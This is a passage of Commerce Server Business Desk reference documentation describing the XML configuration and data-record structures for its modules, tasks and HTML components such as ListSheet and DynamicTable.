Attribute | Description
helptopic | Specifies the name of the Help file that corresponds to this action. Required. Legal values: The name of an existing HTML Help file, specified without a path or a file extension. Default value: None.
id | Specifies the URL of the entry point ASP page for this action. Required. Legal values: The URL of an existing entry point ASP page, specified relative to the Commerce Server Business Desk root. Default value: None.

Remarks

Every ASP page that is referenced as the target of a task or module must be identified with an action element. This is required for the Business Desk Framework to properly manage navigation between modules and between the action pages in a module.

Return to XML Structure

name

This required element provides a name for this action.

Parent Element
action
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the action.
Attributes
None.

Remarks

If the specific action name contains any HTML formatting directives, proper escaping must be used. For example, the string &lt; must be used for the "<" character, the string &gt; must be used for the ">" character, and the string &amp; must be used for the "&" character.

This element will be used to display in the task button details page in the security Permissions module.

Return to XML Structure

tooltip

This required element provides text that is used as the title attribute for the action.

Parent Element
action
Required Child Elements
None.
Optional Child Elements
None.
Data
The tooltip string associated with the action, which is displayed when the cursor is over the task button.
Attributes
None.

Return to XML Structure

tasks

This required element contains zero or more task elements defined for this action.

Parent Element
action
Required Child Elements
None.
Optional Child Elements
task
Data
None.
Attributes
None.

Remarks

A tasks element does not typically contain zero elements. This corresponds to an action page with no tasks.

There cannot be more than 22 task elements specified within any given tasks element.

Return to XML Structure

task

This required element specifies a particular task available from this action. This includes a specification of one or more ASP pages that serve as entry points to the task, and provides the task name and tooltip information.

Parent Element
tasks
Required Child Elements
name, key, tooltip, goto, postto

(goto and postto are mutually exclusive)

Optional Child Elements
task
Data
None.

Attributes

Attribute Description
icon Specifies the (pathless) name of an icon file to display in the corresponding task button.

Optional.

Legal values: The name of an existing icon file, specified without a path.

Default value: None.

If no icon file is supplied, the value of the name element contained in the task element is used as button text.
id Specifies an identifier for the task, which is typically set to the same value as the icon attribute, but without the "task" prefix.

Required.

Legal values: A unique string to distinguish the task from other tasks.

Default value: None.

The following id attribute values result in special framework behavior: "save", "saveback", "savenew", "back", and "find":

find: stays on the same page and toggles the display of the find pane on the page.

back: always re-enabled after a task is run.

save, saveback and savenew: enabled/disabled automatically by the framework if you have set the proper event handlers on the associated events in the master EditSheet HTC.
type Specifies either that a task menu should be used to distinguish between multiple sub-tasks, or that a non-menu task should be shown in the task context menu.

Optional.

Legal values: Either the string "menu" or the string "context".

Default value: None.

This attribute should be set to the value "menu" when multiple goto or postto elements are provided and a task menu is to be used to choose between the available sub-tasks. Otherwise, this attribute can be set to "context" when the task should also appear in the task context menu.

Remarks

Each task appears as a task button at the top of the page when the action page is displayed.

Return to XML Structure

goto

This element specifies one of possibly several ASP pages that serve as entry points to this task. Every task must contain at least one goto or postto element, and may contain more than one. However, goto and postto elements cannot both appear in the same task.

Parent Element
task
Required Child Elements
None.
Optional Child Elements
None.
Data
When a task menu is being used, the element data is used as the task menu item name corresponding to this choice.

Attributes

Attribute Description
action Specifies the URL of one of possibly several entry point ASP pages for this task.

Required.

Legal values: The URL of an existing entry point ASP page, specified relative to the Commerce Server Business Desk root.

Default value: None.

This value must correspond to the value of the id attribute for one of the action elements specified in this module configuration file.

Remarks

When multiple goto elements are specified, the preferred method for allowing the user to decide between them is to use a task menu. The type attribute of the task element should be set to the value "menu", and the multiple goto elements should each contain data to be used as the name of that choice in the drop-down task menu.

When task menus are used, the icon specified by the icon attribute should specify that the task is a task menu. For more information about task icons, and task menu icons in particular, see Icons.

When task menus are used, there cannot be more than 30 task menu items (goto elements) specified.

Another method lets users choose in a selection dialog box provided by the module. At times, however, the choice is determined by other factors, such as the type of item selected in a ListSheet HTC.

Return to XML Structure

postto

This element specifies one of possibly several ASP pages that serve as entry points to this task. Every task must contain at least one postto or goto element, and may contain more than one. However, both postto and goto elements must not appear in the same task.

Parent Element
task
Required Child Elements
None.
Optional Child Elements
None.
Data
When a task menu is being used, the element data is used as the task menu item name corresponding to this choice.

Attributes

Attribute Description
action Specifies the URL of one of possibly several entry point ASP pages for this task.

Required.

Legal values: The URL of an existing entry point ASP page, specified relative to the Commerce Server Business Desk root.

Default value: None.

This value must correspond to the value of the id attribute for one of the action elements specified in this module configuration file.
formname Specifies the name of the form that is posted to the URL specified by the action attribute.

Required.

Legal values: The name of an existing form element.

Default value: None.

Remarks

When multiple postto elements are specified, the preferred method for allowing the user to decide between them is to use a task menu. The type attribute of the task element should be set to the value "menu", and the multiple postto elements should each contain data to be used as the name of that choice in the drop-down task menu.

When task menus are used, the icon specified by the icon attribute should be of the correct type to specify that the task is a task menu. For more information about task icons, and task menu icons in particular, see Icons.

When task menus are used, there cannot be more than 30 task menu items (postto elements) specified.

At times, however, the choice is determined by other factors, such as the type of item selected in a ListSheet HTC. At times, however, the choice is determined by other factors, such as the type of item selected in a ListSheet HTC.

Return to XML Structure

name

This required element specifies the name of this task.

Parent Element
task
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the task.
Attributes
None.

Remarks

This name is used as the button text if no icon file is specified for this task. Otherwise the name is not used.

If the specific task name contains any HTML formatting directives, proper escaping must be used. For example, the string &lt; must be used for the "<" character, the string &gt; must be used for the ">" character, and the string &amp; must be used for the "&" character.

Return to XML Structure

key

This required element specifies a character that serves as the accessibility key associated with the task.

Parent Element
task
Required Child Elements
None.
Optional Child Elements
None.
Data
The single character that serves as the accessibility key for this task, which should correspond to an underlined character in the task name.
Attributes
None.

Remarks

The accessibility key for the task should specify the same character identified with underlining in the task name. For example, if the task name is specified such that the user sees the string Delete, the character "d" must appear between the <key> and </key> tags.

Return to XML Structure

tooltip

This optional element provides a very brief description of the purpose of this task, and should be more descriptive than the task name itself. The provided text is set as the title attribute for the task button, and is visible when the cursor is over the task.

Parent Element
task
Required Child Elements
None.
Optional Child Elements
None.
Data
The task tooltip, as shown when the cursor is over the task button.
Attributes
None.

Return to XML Structure

modules

This required element contains one or more module elements.

Parent Element
config
Required Child Elements
module
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

module

This required element provides information used in the display of a module entry below a category in the navigation pane. It also identifies a corresponding action. Together, this information defines the entry points into a module.

Parent Element
modules
Required Child Elements
name, tooltip
Optional Child Elements
None.
Data
None.

Attributes

Attribute Description
id Specifies the URL of the entry point ASP page for this module.

Required.

Legal values: The URL of an existing entry point ASP page, specified relative to the Commerce Server Business Desk root.

Default value: None.

This value must correspond to the value of the id attribute for one of the action elements specified in this module configuration file.

Remarks

A given (conceptual) module may have more than one entry point action associated with it.

Return to XML Structure

name

This required element specifies the name of the module as the Commerce Server Business Desk user sees it in the navigation pane.

Parent Element
module
Required Child Elements
None.
Optional Child Elements
None.
Data
The module name, as the user sees it.
Attributes
None.

Remarks

If the specific module name contains any HTML formatting directives, proper escaping must be used. For example, the string &lt; must be used for the "<" character, the string &gt; must be used for the ">" character, and the string &amp; must be used for the "&" character.

Return to XML Structure

tooltip

This optional element provides a very brief description of the purpose of this module, and should be more descriptive than the module name itself. The provided text is set as the title attribute for the module entry in the navigation pane.

Parent Element
module
Required Child Elements
None.
Optional Child Elements
None.
Data
The module tooltip, as shown when the cursor is over the module name.
Attributes
None.

Return to XML Structure


HTML Component Data Representation

Extensible Markup Language (XML) structures are used by Commerce Server Business Desk to represent the data that is displayed within the various HTML components (HTCs) that are provided as part of the Business Desk Framework. For the most part, a single standard format is used, though it can be nested more deeply for some controls than for others. In general, an XML data-island with this structure is one of two data-islands that must exist for a particular HTC to operate correctly.

Many of the HTML components (HTCs) in the Commerce Server Business Desk Framework expect the data they display to be provided in this standard XML data record format, available as an XML document on the page. These HTCs include DynamicTable, EditField, EditSheet, ListEditor, and ListSheet. In general, this XML structure contains a single tier of record elements, where each record element contains the same set of child elements. Child element names are arbitrary (shown as dataidN in the structures below), but they do need to correspond to the value of certain id attributes in the corresponding configuration information for the HTC in question.

Note

  • Certain types of ListSheet HTCs expect more than a single tier of record elements, as described below.

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The other XML structure in this category is used to represent the nodes in the TreeView HTC. This structure is unique because the data and configuration information are embedded into the same XML structure. For more information about the TreeView HTC combined data and configuration structure, see TreeView Configuration.

This section contains:

  • Mapping Data to Metadata. Describes how items of data from the DataXML data-island are mapped to the data descriptions provided in the MetaXML data-island.
  • Multi-Tiered Data Record Formats. Introduces two- and three-tiered data record formats, and describes which varieties of the ListSheet HTC expect which format.
  • Standard Data Record XML Structure. Provides detailed information about the elements and attributes of the standard data record format.
  • XMLList and XMLRecord Properties. Discusses two variations of the standard data record format that are used as event object properties and normal HTC properties by the DynamicTable, ListEditor, and ListSheet HTCs.


Mapping Data to Metadata

The following table shows how the names of the elements that are children of the record element correspond to attribute settings in the configuration information for various HTCs.

HTC Using One-Tier XML Data Data Mapping
DynamicTable

EditField

EditSheet

ListEditor

 The dataid element names contained in the record elements in the XML data should correspond to the value of the id attribute for the child elements of the fields element in the XML metadata.

The child elements of the fields element are the set: boolean, date, numeric, select, text, and time.
ListSheet

ListEditor

 The dataid element names contained in the record elements in the XML data should correspond to the value of the id attribute for the column elements in the XML meta data.

Note

  • In the ListSheet HTC, this is the column element that is a child of the columns element, not the column element that is a child of the subobject element.

ListSheet HTCs that use this form of data display flat lists. In this case the meta data subobject element should not be used.

Note

  • Since the ListEditor HTC embeds both a ListSheet HTC and an EditSheet HTC, and its metadata contains both field elements and column elements, the dataid element is interpreted both ways.


Multi-Tiered Data Record Formats

More complex forms of the ListSheet HTC make use of two- and three-tiered XML structures for their data. Essentially, these alternate structures allow nested record elements to two and three levels, respectively. Both of these alternate structures are shown below.

The following table shows how the ListSheet HTC makes use of the two- and three-tiered XML structures for the various types of ListSheet HTCs. Since there are two types of column elements in the metadata for the ListSheet HTC (child elements of the columns and subobject elements, respectively), the following table qualifies instances of the column element with the appropriate parent element in parentheses.

Types of ListSheet HTC | Data Mapping
Flat List | Uses the one-tiered XML structure for data, as described above.
Two-level Homogeneous Grouped List | The dataid element names contained in the second-level record elements in the XML data should correspond to the value of the id2 attribute for the column (columns) elements in the XML metadata. There should not be a third level in the data XML structure, and the id3 attribute of the metadata column (columns) element is not used. In this case the metadata subobject element should not be used.
Three-level Homogeneous Grouped List | The dataid element names contained in the second-level and third-level record elements in the XML data should correspond to the values of the id2 and id3 attributes for the column (columns) elements, respectively, in the XML metadata. In this case the metadata subobject element should not be used.
List-style Heterogeneous Grouped List and Properties-style Heterogeneous Grouped List | The dataid element names contained in the second-level record elements in the XML data should correspond to the value of the id attribute for the column (subobject) elements in the XML metadata. There should not be a third level in the data XML structure, and the id2 and id3 attribute of the column (columns) element is not used.


Standard Data Record XML Structure

The following XML structures show the one-, two-, and three-tiered versions of the data record format, where element names link to a description of the contents of that element, and where the attributes of each element are shown in italic, without the equal sign and value that normally accompanies them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the standard data record format must be expressed in lowercase letters.

XML Structure

One-Tier Format

<document recordcount>
    <record>
        <dataid1>Value</dataid1>
        <dataid2>Value</dataid2>
        <dataid3>Enumeration value</dataid3>
        <dataid3_displayname>Display name for value</dataid3_displayname>
        ...
        <dataidN>Value</dataidN>
    </record>
    ...
    <record>
        <dataid1>Value</dataid1>
        <dataid2>Value</dataid2>
        <dataid3>Enumeration value</dataid3>
        <dataid3_displayname>Display name for value</dataid3_displayname>
        ...
        <dataidN>Value</dataidN>
    </record>
    <error id source>Detailed error message</error>
    <warning>Warning message</warning>
</document>

Two-Tier Format

<document recordcount>
    <record>
        <dataid1>Value</dataid1>
        <dataid2>Value</dataid2>
        <record>
            <dataid21>Value</dataid21>
            <dataid22>Value</dataid22>
        </record>
    </record>
    <error id source>Detailed error message</error>
    <warning>Warning message</warning>
</document>

Three-Tier Format

<document recordcount>
    <record>
        <dataid1>Value</dataid1>
        <dataid2>Value</dataid2>
        <record>
            <dataid21>Value</dataid21>
            <dataid22>Value</dataid22>
            <record>
                <dataid31>Value</dataid31>
                <dataid32>Value</dataid32>
            </record>
        </record>
    </record>
    <error id source>Detailed error message</error>
    <warning>Warning message</warning>
</document>

document

This required element is the XML root element within the XML data-island and contains the record elements, potentially nested to three levels in depth.

Parent Element
None (document root).
Required Child Elements
record (one or more)
Optional Child Elements
None.
Data
None.

Attributes

Attribute Description
recordcount Specifies the number of (top level) record elements contained by this element.

Required only by the ListSheet HTC so that it can properly update the page controls when using HTTP fetch operations. It is not used by any other HTCs and is ignored if present.

Legal values: positive integers, 0, and -1.

A value of 0 indicates an empty list. Such a list must contain a single record element containing empty sub-elements.

A value of –1 indicates a list of unknown size. The ListSheet HTC displays such lists as a multi-page list with an unknown number of pages.

Default value: None.

Return to XML Structure

record

This required element contains all the data for a particular record. This data is represented as a series of contained elements, one for each field in the record.

Parent Element
document
Required Child Elements
None.
Optional Child Elements
dataid, record
Data
None.
Attributes
None.

Remarks

There can be one or more record elements. The record element contains dataid elements, and for two- and three-tiered XML structures, other record elements.

Return to XML Structure

dataid

These elements contain the data to be displayed in a particular field in the associated HTC. No element with a particular name is required, though a record element without any contained dataid elements would not be a very interesting record.

Parent Element
record
Required Child Elements
None.
Optional Child Elements
None.
Data
The actual data value.
Attributes
None.

Remarks

The names of these elements typically originate as field names in the ADO Recordset object from which this XML structure is derived. The standard set of functions used to convert ADO Recordset objects to XML use the Recordset field name as the corresponding element name in the produced XML.

These names are also used to associate each data value with a particular column being displayed in a particular HTC. All HTCs that are passed a data-island in this format are also passed a corresponding data-island identified by the MetaXML container attribute. Data-islands of this latter type have elements that correspond to the data to be displayed. These elements describe the data, including such information as their data types. They also include an id attribute. The value of the id attribute should be the same as the name of the dataid element in the data-island associated with the DataXML container attribute.

The following table shows, for each HTC using a DataXML data-island of this format, the MetaXML element whose id attribute corresponds to the name of a dataid element in that data-island.

HTCs | MetaXML Elements | Notes
DynamicTable | id attribute of boolean, date, numeric, select, text, and time elements. | The value of the id attribute of one of the child elements of the fields element corresponds to a dataid element in the DataXML data-island.
EditField | id attribute of boolean, date, numeric, select, text, and time elements. | The value of the id attribute of one of the child elements of the fields element corresponds to a dataid element in the DataXML data-island. It also corresponds to the value of the DataID container attribute.
EditSheet | id attribute of boolean, date, numeric, select, text, and time elements. | The value of the id attribute of one of the child elements of the fields element corresponds to a dataid element in the DataXML data-island.
ListEditor | id attribute of boolean, date, numeric, select, text, and time elements. | The value of the id attribute of one of the child elements of the fields element corresponds to a dataid element in the DataXML data-island.
ListSheet | id attribute of column (columns) element. id2 attribute of column (columns) element. id3 attribute of column (columns) element. id attribute of column (subobject) element. | The value of the dataid element can occur in these four distinct places in the corresponding MetaXML data-island, depending on the type of ListSheet HTC being employed. For more information, see the detailed explanation at the beginning of this topic.

Return to XML Structure

dataid_displayname

These elements contain enumerated data to be displayed in a particular field in the associated HTC. No such element pairs sharing a particular name root (dataid) are required.

Parent Element
record
Required Child Elements
None.
Optional Child Elements
None.
Data
dataid: The actual data value.

dataid_displayname: The display name associated with the dataid element.

Attributes
None.

Remarks

Data for enumerated types is handled somewhat differently than other data types within the data-islands corresponding to the DataXML container attribute. The data value itself is formatted the same as the other types — as data contained within an element whose name serves to identify that data.

A display name associated with the enumerated type may be supplied in the data-island as data for another, sibling XML element. The name of the sibling element is the same as for the corresponding value, with the string "_displayname" appended to it.

For example, suppose that for a select element within the MetaXML data-island associated with an EditSheet HTC (or a column element with its format attribute set to "select" within the MetaXML data-island associated with a ListSheet HTC), the id attribute is set to "eyecolor". In the corresponding DataXML data-island, there should be elements that look like the first line in the following example, and there can optionally be lines like the second line in the following example:

    <eyecolor>3</eyecolor>
    <eyecolor_displayname>Blue</eyecolor_displayname>

In this example, the value "3" corresponds to blue eyes, and the string "Blue" is displayed to the user.

If the DataXML data-island does not contain the _displayname variety of elements, the HTC inserts such elements into the DataXML data-island. This is accomplished through the following series of steps:

  1. Search the MetaXML data-island for a select element with an id attribute that matches the data element name from the DataXML data-island.
  2. If such a select element is found, search its option elements for one that has a value attribute with a value equal to the actual data in the DataXML data-island.
  3. If such an option element is found, use its data value as the data contained in the newly inserted data_element_name_displayname element.

In some situations the page itself will have to set the proper _displayname elements because there are more than one possible select elements within the MetaXML data-island that might need to be searched. Which one should be used probably depends on some other setting on the page, which only that page is in a position to know. For an example of this behavior, see the page Regionaltax.asp in the Tax module. This page contains a DynamicTable HTC with two select fields that must be kept synchronized.

Return to XML Structure

error

This optional element contains information used to format a client error dialog using the utility routine ShowXMLNodeErrors. For more information about this routine, see ShowXMLNodeErrors (client-side).

Parent Element
document
Required Child Elements
None.
Optional Child Elements
None.
Data
A detailed error message to be displayed. This is usually constructed using one of the following routines: sGetScriptError, sGetADOError, sGetASPError, or sGetXMLError. For more information about these routines, see sGetScriptError (server-side), sGetADOError (server-side), sGetASPError (server-side), and sGetXMLError (server-side), respectively.

Attributes

Attribute | Description
id | Reserved for future use. Optional (for now). Legal values: An integer value. Default value: None.
source | Specifies a friendly error message to show to the user. Required. Legal values: Valid strings. Default value: None.

Remarks

There can be zero or more error elements.

The ListSheet and TreeView HTCs will automatically display any error nodes in data returned from a fetch operation.

Error nodes can be easily added to your XML document using the utility routine AddErrorNode. For more information about this routine, see AddErrorNode (server-side).

Return to XML Structure

warning

This optional element contains information that can be used to format a client warning (non-fatal) dialog.

Parent Element
document
Required Child Elements
None.
Optional Child Elements
None.
Data
A warning message to be display.
Attributes
None.

Remarks

There can be zero or more warning elements.

The ListSheet and TreeView HTCs will automatically display any warning nodes in data returned from a fetch operation.

Error nodes can be easily added to your XML document using the utility routine AddWarningNode. For more information about this routine, see AddWarningNode (server-side).

Return to XML Structure


XMLList and XMLRecord Properties

Certain properties associated with HTML Component (HTC) events, and certain properties of the HTCs themselves, return two different variations of the standard data record format, as nested XML DOM objects starting with an XMLDOMElement object. The two variations are an XMLList, which contains multiple records, and an XMLRecord, which contains a single record.

The following table shows the circumstances under which the relevant HTCs make use of properties of these forms.

HTC XMLList and XMLRecord Usage
DynamicTable HTC XMLList:
  • XMLList property of the window.event object in the OnChange event.
  • XMLList HTC property.

XMLRecord:

  • XMLRecord property of the window.event object in the OnChange event.
ListEditor HTC XMLList:
  • XMLList property of the window.event object in the OnChange event.
  • XMLList HTC property.

XMLRecord:

  • XMLRecord property of the window.event object in the OnEdit event.
  • XMLRecord property of the window.event object in the OnNew event.
ListSheet HTC XMLList:
  • XMLList HTC property.

XMLRecord:

  • XMLRecord property of the window.event object in the OnRowSelect event.
  • XMLRecord property of the window.event object in the OnRowUnselect event.

This section contains:

  • XMLList Property Structure. Describes the XML structure of the XMLList property.
  • XMLRecord Property Structure. Describes the XML structure of the XMLRecord property.


XMLList Property Structure

The structure of the XMLList property is as follows. The top level node is an XMLDOMELement object with its tagName property set to "document".

<document>
    <record state>
        <dataid1>data</dataid1>
        <dataid2>data</dataid2>
        . . .
    </record>
    <record state>
        <dataid1>data</dataid1>
        <dataid2>data</dataid2>
        . . .
    </record>
    . . .
</document>

When used as a property in the DynamicTable and ListEditor HTCs, both of which allow changes to the data, an additional attribute, named state, is associated with each record element. The state attribute can have one of the following four possible values:

  • An empty string indicating that the record is unchanged
  • The value "added", indicating that the record is new
  • The value "changed", indicating that the record has been changed
  • The value "deleted", indicating that the record has been deleted. Records marked as deleted are no longer shown in the list.


XMLRecord Property Structure

The structure of the XMLRecord property is as follows. The top level node is an XMLDOMELement object with its tagName property set to "record".

<record state>
    <dataid1>data</dataid1>
    <dataid2>data</dataid2>
    . . .
</record>

When used as a property in the DynamicTable and ListEditor HTCs, both of which allow changes to the data, an additional attribute, named state, is associated with each record element. The state attribute can have one of the following four possible values:

  • An empty string indicating that the record is unchanged
  • The value "added", indicating that the record is new
  • The value "changed", indicating that the record has been changed
  • The value "deleted", indicating that the record has been deleted. Records marked as deleted are no longer shown in the list.


HTML Component Configuration

Extensible Markup Language (XML) structures are used by Commerce Server Business Desk to provide metadata about the data being displayed. For example, if the data is displayed in columns, this structure specifies information about each of those columns, such as the column heading, how the data itself should be formatted, the column width, and whether the column can be sorted. In general, an XML data-island of this type is one of two data-islands that must exist for a particular HTML component (HTC) to operate correctly.

This section contains:

  • DynamicTable Configuration. Describes the XML structure of the configuration information for the DynamicTable HTC. Since the DynamicTable HTC makes use of embedded EditField HTCs, much of the configuration information is shared between the two. For more details, see EditField Configuration.
  • EditField Configuration. Describes the XML structure of the configuration information for one or more EditField HTCs.
  • EditSheet Configuration. Describes the XML structure of the configuration information for the EditSheet HTC. Because the EditSheet HTC makes use of embedded EditField HTCs, much of the configuration information is shared between the two. For more details, see EditField Configuration.
  • ExpressionBuilder Configuration. Describes the XML structure of the configuration information for the ExpressionBuilder HTC.
  • ListEditor Configuration. Describes the XML structure of the configuration information for the ListEditor HTC. Because the ListEditor HTC makes use of embedded EditField HTCs, much of the configuration information is shared between the two. For more details, see EditField Configuration.
  • ListSheet Configuration. Describes the XML structure of the configuration information for the ListSheet HTC.
  • QueryBuilder Configuration. Describes the XML structure of the configuration information for the QueryBuilder HTC.
  • TreeView Configuration. Describes the XML structure of the combined data and configuration information used by the TreeView HTC.


DynamicTable Configuration

The XML data-island identified by the MetaXML container attribute contains the configuration information used by the DynamicTable HTML component (HTC).

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the MetaXML data-island for the DynamicTable HTC must be expressed in lowercase letters.

XML Structure

<dynamictable>
  <global removebutton keycol newbutton overx
          required sortbykey uniquekey />
  <fields>
    <boolean browse browsereadonly default disabled hide
             id onbrowse onchange onerror readonly width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <name>Column heading name</name>
      <label>Checkbox label</label>
    </boolean>
    <date browse browsereadonly default disabled firstday
          hide id max min onbrowse onchange onerror
          onrequire onvalid readonly required width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <format>Date format to use</format>
      <error>Validation error message</error>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
    </date>
    <numeric browse browsereadonly default disabled hide id
             max min onbrowse onchange onerror onrequire
             onvalid readonly required subtype width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <format>Number format to use</format>
      <error>Validation error message</error>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
    </numeric>
    <select browse browsereadonly default disabled
            hide htmloptions id multilingual onbrowse
            onchange onerror onvalid readonly width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
      <select id>
        <option value>Item display name</option>
      </select>
      ...
      <select id>
        <option value>Item display name</option>
      </select>
    </select>
    <text browse browsereadonly default disabled hide id
          maxlen minlen multilingual onbrowse onchange onerror
          onrequire onvalid readonly required subtype width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <charmask>Validation character mask</charmask>
      <error>Validation error message</error>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
    </text>
    <time browse browsereadonly default disabled hide
          id max min onbrowse onchange onerror
          onrequire onvalid readonly required width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <error>Validation error message</error>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
    </time>
  </fields>
</dynamictable>

dynamictable

This required element serves as the container for the DynamicTable configuration data that identifies it as intended for use with a DynamicTable HTC.

Parent Element
None (document root).
Required Child Elements
global, fields
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

global

This required element provides configuration information that affects the general behavior of the DynamicTable HTC.

Parent Element
dynamictable
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
removebutton | Specifies whether the Remove button will be displayed. Optional. Legal values: "yes" and "no". Default value: "yes". If the value is "no", the Remove button will not be displayed.
keycol | Specifies the ID of the field that will be used as the record key for sorting, unique key checks, and so forth. Required. Each field type for which sorting is allowed (numeric and text types only) has the required attribute id; this attribute must be set to one of those id values.
newbutton | Specifies whether the New button will be displayed. Optional. Legal values: "yes" and "no". Default value: "yes". If the value is "no", the New button will not be displayed.
overx | Controls the display of the last row in the table. Optional. Legal values: "yes" and "no". Default value: "no". If the value is "yes", the last row in the table is manipulated after each sort operation based on the value in the field specified by the keycol attribute. If the value of this field in the last row is "–1", the field is displayed as "Over X", where "X" is the value in the same field, one row above. If the value of this field in the last row is not "-1", a new row is inserted with "Over X" text in that field and all other fields being empty. In the case where there are no rows, a row is inserted with "Over 0" displayed in the key column. For more information about the OverX feature of the DynamicTable HTC, see OverX Feature.
required | Specifies whether the table can be empty, and controls the display of the "required" icon. Optional. Legal values: "yes" and "no". Default value: "no". If the value is "yes", the table cannot be empty.
sortbykey | Specifies whether the table is re-sorted according to the values in the field specified by the keycol attribute when the Done button is pressed. Optional. Legal values: "yes" and "no". Default value: "no". If the value is "yes", the re-sorting is performed.
uniquekey | Specifies whether the uniqueness of values in the key column should be enforced. Optional. Legal values: "yes" and "no". Default value: "no". If the value is "yes", uniqueness validation is performed.

Return to XML Structure

fields

This required element contains the elements that specify the fields to be displayed in the DynamicTable HTC.

Parent Element
dynamictable
Required Child Elements
None.
Optional Child Elements
boolean, date, numeric, select, text, time
Data
None.
Attributes
None.

Remarks

The fields element must contain at least one child element, though in general it will contain several such elements, corresponding to a DynamicTable HTC with several columns.

Child elements within the fields element are displayed as columns in the DynamicTable HTC. The field specified as the key is always displayed as the first column; all other fields are displayed in the order in which they appear within the fields element.

The child elements of the fields element are essentially the same as the elements that can be defined as child elements of the editfield element in the configuration data for the EditField HTC. The primary difference is that sometimes there are some additional attributes that can be defined for the child elements when they occur within the context of the DynamicTable HTC. For information about shared attributes, see Shared EditField Attributes.

Return to XML Structure

boolean

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing Boolean values.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, label
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, onbrowse, onchange, onerror, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Return to XML Structure

date

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing date values.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, error, format, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
firstday | Specifies the day of the week that is considered to be the first day of the week. Optional. Legal values: Integers between 0 (Sunday) and 6 (Saturday), inclusive. Default value: 0 (Sunday)
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Return to XML Structure

numeric

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing numeric values.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, error, format, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Return to XML Structure

select

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing a fixed set of choices.

Parent Element
fields
Required Child Elements
name, select
Optional Child Elements
browsetooltip, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, htmloptions, multilingual, onbrowse, onchange, onerror, onvalid, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Return to XML Structure

text

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing text values.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, charmask, error, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, maxlen, minlen, multilingual, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Return to XML Structure

time

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing time values.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, error, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Remarks

The format of fields associated with the time element is fixed. Hours and minutes are displayed in 24-hour format, separated by the colon character (":"). Seconds are not supported.

Return to XML Structure

browsetooltip, charmask, error, format, label, name, prompt, select, option

These nine elements are used to qualify or extend the behavior of one or more of the EditField elements of various data types, embedded within the DynamicTable HTC. For more information, see Shared EditField Child Elements.

Return to XML Structure


EditField Configuration

The XML data-island identified by the MetaXML container attribute contains the configuration information used by one or more EditField HTML components (HTCs).

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the MetaXML data-island for the EditField HTC must be expressed in lowercase letters.

